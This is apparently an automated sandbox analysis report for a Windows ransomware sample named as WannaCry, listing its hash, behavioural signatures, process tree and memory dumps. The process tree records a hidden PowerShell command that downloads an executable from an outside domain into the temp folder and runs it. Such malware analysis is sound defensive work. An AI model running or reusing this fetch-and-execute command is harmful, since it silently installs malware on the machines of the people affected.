Analysis
- max time kernel
149s - max time network
126s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
11/10/2026, 23:14
General
- Target 2026-10-09_d634719a957c967293e09c1ce9d00b86_wannacry.exe
- Size 25KB
- Sample261011-28bdsaba47
- SHA256 85b67c6e936c3e41a7e46721dd0d515a6861ce49009b821e61650026e4ad336c
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-10-09_d634719a957c967293e09c1ce9d00b86_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-09_d634719a957c967293e09c1ce9d00b86_wannacry.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\rm_1324_240760250.exe"C:\Users\Admin\AppData\Local\Temp\rm_1324_240760250.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "& { iwr -Uri 'https://data-miner.cyou/dl/dzaf7rd' -OutFile $env:TEMP\BK279399.exe; Start-Process $env:TEMP\BK279399.exe -WindowStyle Hidden }"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
rm_1324_240760250.exe
memory/5852-4-0x00007FFAFD92F000-0x00007FFAFD930000-memory.dmp
memory/5852-5-0x000001FACF480000-0x000001FACF4A2000-memory.dmp
memory/5852-8-0x00007FFAFD7A0000-0x00007FFAFE144000-memory.dmp
memory/5852-9-0x00007FFAFD7A0000-0x00007FFAFE144000-memory.dmp
memory/5852-10-0x00007FFAFD7A0000-0x00007FFAFE144000-memory.dmp
memory/5852-11-0x00007FFAFD7A0000-0x00007FFAFE144000-memory.dmp
memory/5852-12-0x00007FFAFD7A0000-0x00007FFAFE144000-memory.dmp
memory/5852-13-0x00007FFAFD7A0000-0x00007FFAFE144000-memory.dmp
memory/5852-14-0x00007FFAFD7A0000-0x00007FFAFE144000-memory.dmp
memory/5852-15-0x00007FFAFD7A0000-0x00007FFAFE144000-memory.dmp
memory/5852-16-0x00007FFAFD7A0000-0x00007FFAFE144000-memory.dmp
memory/5852-17-0x00007FFAFD7A0000-0x00007FFAFE144000-memory.dmp
memory/5852-18-0x00007FFAFD7A0000-0x00007FFAFE144000-memory.dmp
memory/5852-19-0x00007FFAFD7A0000-0x00007FFAFE144000-memory.dmp
memory/5852-20-0x000001FAD0050000-0x000001FAD07F6000-memory.dmp
memory/5852-21-0x00007FFAFD7A0000-0x00007FFAFE144000-memory.dmp
memory/5852-22-0x00007FFAFD7A0000-0x00007FFAFE144000-memory.dmp
memory/5852-25-0x00007FFAFD7A0000-0x00007FFAFE144000-memory.dmp